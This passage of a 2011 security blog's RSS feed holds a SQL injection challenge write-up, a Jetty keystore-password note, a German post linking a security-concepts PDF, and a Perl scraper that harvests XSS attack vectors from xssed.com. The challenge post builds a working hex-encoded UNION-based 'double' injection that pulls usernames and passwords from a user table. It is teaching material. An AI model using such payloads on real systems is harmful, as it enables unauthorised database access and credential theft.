				}
				if(@mysql_num_rows($resultb) &gt; 0) {
					$bl = "&lt;table&gt;";
					$bl.= "&lt;tr class=\"bookmark\"&gt;&lt;td&gt;Title&lt;/td&gt;&lt;td&gt;Site Address&lt;/td&gt;&lt;/tr&gt;";
					while($b = @mysql_fetch_assoc($resultb)) {
						$bl .= "&lt;tr&gt;&lt;td style=\"padding-right:15px;\"&gt;".$b['title']."&lt;/td&gt;
                        &lt;td&gt;&lt;a href=\"".$b['url']."\" target=\"_blank\"&gt;".$b['url']."&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;";
					}
					$bl .= "&lt;/table&gt;";
				}
			}
		}
	}
	return $bl;
}</pre>
<p>Are you able to identify the vulnerable lines of code? Let&#8217;s see what is happening if we start  to build our injection string. If an empty search is performed, all existing bookmarks will be printed. If a search string is provided, the SQL-Statement will be filled.</p>
<pre class="brush:sql">SELECT id from tags where name like '%search string%'</pre>
<p>Because of the missing input validation, the first SQL-Injection is possible at this step.  Well, the next part requires to put on our thinking cap. The second SQL-Query will only be executed if the first one returns at least one line. As $a=@mysql_fetch_row($result); and is processed before the second query, we will have to manipulate the first result. $a must contain the injection string which has to be injected into the second statement to trigger the exploit. How can this be achieved?</p>
<p>An UNION ALL SELECT should satisfy our needs. We could use a random search string to get no bookmarks returned and append the injection string, as explained below.</p>
<pre class="brush:sql">kjahs' union all select 1 --</pre>
<p>The &#8220;1&#8243; represents a tag ID, which is usually returned by the first SQL-Query. Now, let&#8217;s assume that the query for the users&#8217; DB my look like</p>
<pre class="brush:sql">select username,userpass from udb</pre>
<p>Put all parts together and build the injection string. I would call it Double-SQL-Injection. (gg)</p>
<pre class="brush:sql">kjahs' union all select (select 0x612720756E696F6E20616C6C2073656C65637420757365726E616D652C75736572706173732066726F6D20756462202D2D20) from udb --</pre>
<p>The hex-encoded string comprises an UNION ALL SELECT. The process of a search will now look like</p>
<pre class="brush:sql">-- First SQL-Query
SELECT id from tags where name like '%kjahs' union all select (select 0x612720756E696F6E20616C6C2073656C65637420757365726E616D652C75736572706173732066726F6D20756462202D2D20) from udb -- %'

-- Second SQL-Query
SELECT title, url FROM `bookmarks` where tags like '%a' union all select username,userpass from udb -- %'</pre>
<p>As you perceive, the hex-encoded string gets decoded and represents the second, well-formed SQL-Injection.</p>
<div class="su-linkbox" id="post-94-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/07/30/sql-injection-challenge/&quot;&gt;(Double-)SQL-Injection Challenge&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/07/30/sql-injection-challenge/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Was bedeutet IT- und Information-Security?</title>
		<link>http://mfs-enterprise.com/wordpress/2011/07/30/bedeutet-it-und-information-security/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=bedeutet-it-und-information-security</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/07/30/bedeutet-it-und-information-security/#comments</comments>
		<pubDate>Sat, 30 Jul 2011 08:48:37 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Information Security Management]]></category>
		<category><![CDATA[begriffe]]></category>
		<category><![CDATA[corporate security]]></category>
		<category><![CDATA[definitionen]]></category>
		<category><![CDATA[information security]]></category>
		<category><![CDATA[iso]]></category>
		<category><![CDATA[IT]]></category>
		<category><![CDATA[it security]]></category>
		<category><![CDATA[normen]]></category>
		<category><![CDATA[PDF]]></category>
		<category><![CDATA[standards]]></category>
		<category><![CDATA[Standards Normen]]></category>
		<category><![CDATA[Thema Unterschied]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=89</guid>
		<description><![CDATA[Hallo an alle, hier stelle ich eine kleine nette Präsentation zum Thema &#8220;Unterschied von IT- und Information-Security&#8221; bereit. Sehr oft sind die Unterschiede nicht so klar bzw. werden nicht verstanden. Begriffe und Definitionen können im angehängten PDF nachgelesen werden. Weiters findet sich auch eine Auflistung von Standards &#038; Normen im Sicherheitsbereich. Have fun! Downlaod Link [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F3q8342n&count=horizontal&related=&text=Was%20bedeutet%20IT-%20und%20Information-Security%3F' class='twitter-share-button' data-text='Was bedeutet IT- und Information-Security?' data-url='http://tinyurl.com/3q8342n' data-counturl='http://mfs-enterprise.com/wordpress/2011/07/30/bedeutet-it-und-information-security/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>Hallo an alle,</p>
<p>hier stelle ich eine kleine nette Präsentation zum Thema &#8220;Unterschied von IT- und Information-Security&#8221; bereit. Sehr oft sind die Unterschiede nicht so klar bzw. werden nicht verstanden. Begriffe und Definitionen können im angehängten PDF nachgelesen werden. Weiters findet sich auch eine Auflistung von Standards &#038; Normen im Sicherheitsbereich.</p>
<p>Have fun! Downlaod Link &#8211; <a href='http://mfs-enterprise.com/wordpress/wp-content/uploads/2011/07/MfS-Enterprise_Security.pdf'>MfS-Enterprise_Security.pdf</a></p>
<div class="su-linkbox" id="post-89-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/07/30/bedeutet-it-und-information-security/&quot;&gt;Was bedeutet IT- und Information-Security?&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/07/30/bedeutet-it-und-information-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jetty Security &#8211; Obfuscated Keystore Password (failing?)</title>
		<link>http://mfs-enterprise.com/wordpress/2011/07/30/jetty-fail-obfuscated-keystore-password/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=jetty-fail-obfuscated-keystore-password</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/07/30/jetty-fail-obfuscated-keystore-password/#comments</comments>
		<pubDate>Sat, 30 Jul 2011 07:02:51 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Programming]]></category>
		<category><![CDATA[// Web Security]]></category>
		<category><![CDATA[jetty]]></category>
		<category><![CDATA[jetty.xml]]></category>
		<category><![CDATA[keystore]]></category>
		<category><![CDATA[LFI]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[obfuscationg]]></category>
		<category><![CDATA[Parameter Injection]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=80</guid>
		<description><![CDATA[Found some interesting lines in a jetty configuration file and just want to share it with you. &#60;Set name="Keystore"&#62;&#60;SystemProperty name="jetty.home" default="." /&#62;/../xxx/conf/keystore&#60;/Set&#62; &#60;Set name="Password"&#62;OBF:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#60;/Set&#62; &#60;Set name="KeyPassword"&#62;OBF:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#60;/Set&#62; It is not the best idea to only obfuscate keystore passwords, isn&#8217;t it? (gg) But in this case jetty does not support encryption like MD5. So be sure to [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F3varde3&count=horizontal&related=&text=Jetty%20Security%20-%20Obfuscated%20Keystore%20Password%20%28failing%3F%29' class='twitter-share-button' data-text='Jetty Security - Obfuscated Keystore Password (failing?)' data-url='http://tinyurl.com/3varde3' data-counturl='http://mfs-enterprise.com/wordpress/2011/07/30/jetty-fail-obfuscated-keystore-password/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>Found some interesting lines in a jetty configuration file and just want to share it with you.</p>
<pre class="brush:xml">&lt;Set name="Keystore"&gt;&lt;SystemProperty name="jetty.home" default="." /&gt;/../xxx/conf/keystore&lt;/Set&gt;
&lt;Set name="Password"&gt;OBF:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;/Set&gt;
&lt;Set name="KeyPassword"&gt;OBF:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;/Set&gt;</pre>
<p>It is not the best idea to only obfuscate keystore passwords, isn&#8217;t it? (gg) But in this case jetty does not support encryption like MD5. So be sure to make your website secure from any vulnerability (LFI, SQL-Injection, Parameter Injection, &#8230;) which could affect your filesystem.</p>
<p>Any other hint for securing jetty is appreciated!</p>
<div class="su-linkbox" id="post-80-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/07/30/jetty-fail-obfuscated-keystore-password/&quot;&gt;Jetty Security &#8211; Obfuscated Keystore Password (failing?)&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/07/30/jetty-fail-obfuscated-keystore-password/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>xssed.com &#8211; xssdl parses all XSS Attack Vectors and stores them to file</title>
		<link>http://mfs-enterprise.com/wordpress/2011/07/29/xssed-com-xssdl-parses-all-xss-attack-vectors-and-stores-them-to-file/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=xssed-com-xssdl-parses-all-xss-attack-vectors-and-stores-them-to-file</link>
		<comments>http://mfs-enterprise.com/wordpress/2011/07/29/xssed-com-xssdl-parses-all-xss-attack-vectors-and-stores-them-to-file/#comments</comments>
		<pubDate>Fri, 29 Jul 2011 18:08:34 +0000</pubDate>
		<dc:creator>bl4ckw0rm</dc:creator>
				<category><![CDATA[// Programming]]></category>
		<category><![CDATA[// Web Security]]></category>
		<category><![CDATA[Free Software Foundation]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[MERCHANTABILITY]]></category>
		<category><![CDATA[MSIE]]></category>
		<category><![CDATA[Parse Arguments]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[Processing Mirror]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[URI]]></category>
		<category><![CDATA[URL]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[XSS Attack Vector]]></category>
		<category><![CDATA[xssed.com]]></category>
		<category><![CDATA[xssedl]]></category>

		<guid isPermaLink="false">http://mfs-enterprise.com/wordpress/?p=30</guid>
		<description><![CDATA[Have you ever tried to download all XSS Vectors from xssed.com? I provide you the following solution: The Perl Script below is named &#8220;xssdl&#8221; &#8211; a tool that parses the whole xssed.com archive and stores all XSS Attack Vectors to file. Then you are able to use grep or anything similar easily. You can use [...]]]></description>
			<content:encoded><![CDATA[<a href='http://twitter.com/share?url=http%3A%2F%2Ftinyurl.com%2F453gu65&count=horizontal&related=&text=xssed.com%20-%20xssdl%20parses%20all%20XSS%20Attack%20Vectors%20and%20stores%20them%20to%20file' class='twitter-share-button' data-text='xssed.com - xssdl parses all XSS Attack Vectors and stores them to file' data-url='http://tinyurl.com/453gu65' data-counturl='http://mfs-enterprise.com/wordpress/2011/07/29/xssed-com-xssdl-parses-all-xss-attack-vectors-and-stores-them-to-file/' data-count='horizontal' data-via='bl4ckw0rm'></a><p>Have you ever tried to download all XSS Vectors from xssed.com?<br />
I provide you the following solution:</p>
<p>The Perl Script below is named &#8220;xssdl&#8221; &#8211; a tool that parses the whole xssed.com archive and stores all XSS Attack Vectors to file. Then you are able to use grep or anything similar easily.</p>
<p>You can use this download link &#8211; <a href="http://mfs-enterprise.com/security/site/de/docs/xssdl.zip" target="_blank">xssdl.zip</a></p>
<pre class="brush:perl">#!/usr/bin/perl

#    xssdl - Parses and saves all XSS Attack Vectors from xssed.com
#    Copyright (C) 2011  Michael F. Schratt (bl4ckw0rm)
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#
#    Contact:
#      mschratt@mfs-enterprise.com
#      http://twitter.com/#!/bl4ckw0rm

use strict;
use LWP;
use Term::ANSIColor;

# Header
print "----------------------------------------------------------------\n";
print "| XSS(DownLoader) parses all XSS Attack Vectors from XSSed.com |\n";
print "----------------------------------------------------------------\n";

# Vars
my $browser         = LWP::UserAgent-&gt;new;
my $urlArchive      = "http://xssed.com/archive/";
my $filenameXSS     = "";
my $filenameLOG     = "";

my $globPageID      = 0;
my $globMirrID      = 0;

# Debugging
my $DEBUG_F         = 0;

# Set UserAgent
$browser-&gt;agent("Mozilla/4.0 (compatible; MSIE 5.12; Mac_PowerPC)");

# Catch STRG-C
$SIG{INT} = \&amp;exception;

# Parse Arguments
my $PAGE_A          = 0;
my $PAGE_Ae         = 0;
my $MIRROR_A        = 0;

while ( my $arg = shift @ARGV ) {
	if ( $arg eq '-v' ) {
		$DEBUG_F = 1;
	} elsif ( $arg eq '-p' ) {
		$PAGE_A = shift @ARGV;
    } elsif ($arg eq '-pe' ) {
        $PAGE_Ae = shift @ARGV;
	} elsif ( $arg eq '-m' ) {
		$MIRROR_A = shift @ARGV;
	} elsif ( $arg eq '-h' ) {
		usage();
	} else {
		usage();
	}
}

$filenameXSS     = "xssed_" . $PAGE_A ."_" .
                    $PAGE_Ae . "_" . $MIRROR_A . "_" . &amp;getDate . ".txt";
$filenameLOG     = "xssed_" . $PAGE_A ."_" .
                    $PAGE_Ae . "_" . $MIRROR_A . "_" . &amp;getDate . ".log";

if ($PAGE_A gt 0) {
	# Start at given page &amp; mirror
	&amp;processPage($PAGE_A, $MIRROR_A, $PAGE_Ae);
} else {
	&amp;processPage(1,0,0);
}

exit 0;

# SubRoutines
sub usage {
	print "$0 -v -h -p firstpage -pe lastpage -m mirror\n";
    exit 0;
}

sub getDate {
    (my $sec,my $min,my $hour,my $mday,my $mon,
     my $year,my $wday,my $yday,my $isdst) = localtime(time);
    return sprintf("%4d%02d%02d%02d%02d%02d",
                   $year+1900,$mon+1,$mday,$hour,$min,$sec);
}

sub exception {
	$SIG{INT} = \&amp;exception;

	&amp;writeLog ("[-] ERR: Saving Status to Log\n", "red");
	&amp;writeLog ("[-] ERR: Interupted at Page $globPageID / Mirror $globMirrID\n", "red");

	exit 1;
}

sub processPage {
	local(my $url = "", my $max = 0, my @mirrors = "", my $response = "",
	      my $data = "", my $pageID = shift, my $mirrorIDx = shift,
          my $pageIDe = shift);

	# Build URL
	$url = $urlArchive."page=$pageID/";
	&amp;writeLog ("[+] A total of ", "red");
	$max = &amp;getSites($url);
    if ($pageIDe eq 0) {
        $pageIDe = $max;
    }
	&amp;writeLog ("$max sites to process\n", "red");

	do {
		# Set Global PageID for Tracing
		&amp;setGlobPage($pageID);		

		&amp;writeLog ("[+] Processing URL: $url\n", "red");

		$response = $browser-&gt;get($url); die "[-] Connot get $url --- ",
			    $response-&gt;status_line unless $response-&gt;is_success;
		$data = $response-&gt;content;

		if ($DEBUG_F eq 1) {
			print $data;
		}

		@mirrors = &amp;getMirrors($data);
		&amp;writeLog ("[+] Site $pageID/$max | ".($max-$pageID)." remaining\n", "red");
		while ($mirrorIDx &lt;= scalar(@mirrors)-1) {
			# Set Global MirrorID for Tracing
			&amp;setGlobMirr($mirrorIDx);
			&amp;processMirror($mirrors[$mirrorIDx], $mirrorIDx+1, scalar(@mirrors));
			$mirrorIDx+=1;
	 	}
		$mirrorIDx = 0;

		$pageID+=1;
		$url = $urlArchive."page=$pageID/";
	} while ($pageID &lt;= $pageIDe);
}

sub setGlobPage {
	local(my $pageID = shift);

	$globPageID = $pageID;
}

sub setGlobMirr {
	local(my $mirrID = shift);

	$globMirrID = $mirrID+1;
}

sub processMirror {
	local(my $murl = shift, my $response = "", my $data = "", my $cat = "",
	      my $xssURL = "", my $idx = shift, my $total = shift, my $status = "");

	&amp;writeLog ("\t[*] Processing Mirror $idx\/$total: $murl\n", "green");

	$response = $browser-&gt;get($murl); die "[-] Connot get $murl --- ",
		    $response-&gt;status_line unless $response-&gt;is_success;
	$data = $response-&gt;content;

	if ($DEBUG_F eq 1) {
		print $data;
	}

	$cat = &amp;getCategory($data);
	&amp;writeLog ("\t[*] Category: $cat\n", "green");
	$xssURL = &amp;getXssURL($data);
	$xssURL =~ s/&lt;br&gt;//g
	&amp;writeLog ("\t[*] URL: $xssURL\n", "green");
	$status = &amp;getStatus($data);
	&amp;writeLog ("\t[*] Status: $status\n", "green");

	&amp;writeFile("Status: ".&amp;trim($status)."\tCategory: ".&amp;trim($cat)."\tURL: ".&amp;trim($xssURL));
}

sub getMirrors {
	local(my $data = shift, my $idx = 0, my @tmp = (), my $base = "http://xssed.com/mirror/");

	while( $data =~ m/&lt;a href=\'\/mirror\/(.*?)\/\'/ig ) {
		$tmp[$idx++] = URI-&gt;new_abs( $1, $base );
 	}

	return(@tmp);
}

sub getStatus {
	local(my $data = shift, my $status = "");

	$data =~ m/.*Status:.*(\b(UNFIXED|FIXED))&lt;\/.*/ig;
	$status = $1;

	return($status);
}

sub getSites {
	local(my $max = 0, my $tmp = 0, my $url = shift, my $response = "", my $data = "");

	$response = $browser-&gt;get($url); die "[-] Connot get $url --- ",
		    $response-&gt;status_line unless $response-&gt;is_success;
	$data = $response-&gt;content;

	while( $data =~ m/&lt;a href=\'\/archive\/.*page=(.*?)\/\'/ig ) {
		$tmp = $1;
		if ($max &lt; $tmp) { $max = $tmp; }
 	}

	return($max);
}

sub getCategory {
	local(my $data = shift, my $cat = "");

	$data =~ m/.*Category:\ (.*?)&lt;\/.*/ig;
	$cat = $1;

	return($cat);
}

sub getXssURL {
	local(my $p = shift, my $xssUrl = "");

	$p =~ m/.*URL:\ (.*?)&lt;\/.*/ig;
	$xssUrl = $1;

	return($xssUrl);
}

sub writeFile {
	local(my $content = shift);

	open (fHANDLE, "&gt;&gt;$filenameXSS");
 	print fHANDLE "$content\n";
	close(fHANDLE);
}

sub writeLog {
	local(my $content = shift, my $color = shift);

	open (lHANDLE, "&gt;&gt;$filenameLOG");
	print lHANDLE "$content";
	close(lHANDLE);

	print color $color;
	print $content;
	print color 'reset';
}

sub deleteFiles {
	unlink($filenameXSS);
	unlink($filenameLOG);
}

sub trim {
	my $string = shift;
	$string =~ s/^\s+//;
	$string =~ s/\s+$//;
	return $string;
}</pre>
<div class="su-linkbox" id="post-30-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://mfs-enterprise.com/wordpress/2011/07/29/xssed-com-xssdl-parses-all-xss-attack-vectors-and-stores-them-to-file/&quot;&gt;xssed.com &#8211; xssdl parses all XSS Attack Vectors and stores them to file&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded>
			<wfw:commentRss>http://mfs-enterprise.com/wordpress/2011/07/29/xssed-com-xssdl-parses-all-xss-attack-vectors-and-stores-them-to-file/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

